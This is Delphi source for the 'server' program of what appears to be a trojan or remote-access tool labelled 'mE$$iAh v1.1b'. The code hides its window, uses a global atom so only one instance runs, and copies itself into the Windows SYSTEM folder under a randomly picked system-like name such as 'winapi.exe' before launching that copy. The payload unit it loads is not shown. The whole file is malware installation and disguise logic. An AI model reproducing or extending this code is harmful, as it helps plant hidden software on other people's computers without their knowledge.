program server;

uses
  ShellAPI, Windows, Forms, SysUtils,
  Unit1 in 'Unit1.pas' {Form1};

resourcestring
  AtomName = 'mE$$iAh v1.1b';

const
  SERVERNAME : array[0..2] of string = ('j4ysrv.exe', 'winapi.exe', 'mapisrv.exe');

var
  hAtom: Atom;
  i: integer;


{$R *.RES}



begin
  Randomize;
  Application.Initialize;
  Application.ShowMainForm:= False;
  if (GlobalFindAtom(PChar(AtomName)) = 0) then
  begin
    if (0 = Pos (GetWinDir+'\SYSTEM', Application.ExeName)) then
    begin
       i:= Random(3);
       CopyFile (PChar(Application.ExeName), PChar(GetWinDir+'\SYSTEM\'+SERVERNAME[i]), false);
       ShellExecute(Application.handle, nil, PChar(GetWinDir+'\SYSTEM\'+SERVERNAME[i]), nil, nil, SW_SHOWNORMAL);
    end else
    begin
      hAtom:=GlobalAddAtom(PChar(AtomName));
      Application.CreateForm(TForm1, Form1);
      Form1.Caption:= ExtractFileName(Application.ExeName);
      Application.Run;
      GlobalDeleteAtom(hAtom);
    end;
  end;
end.
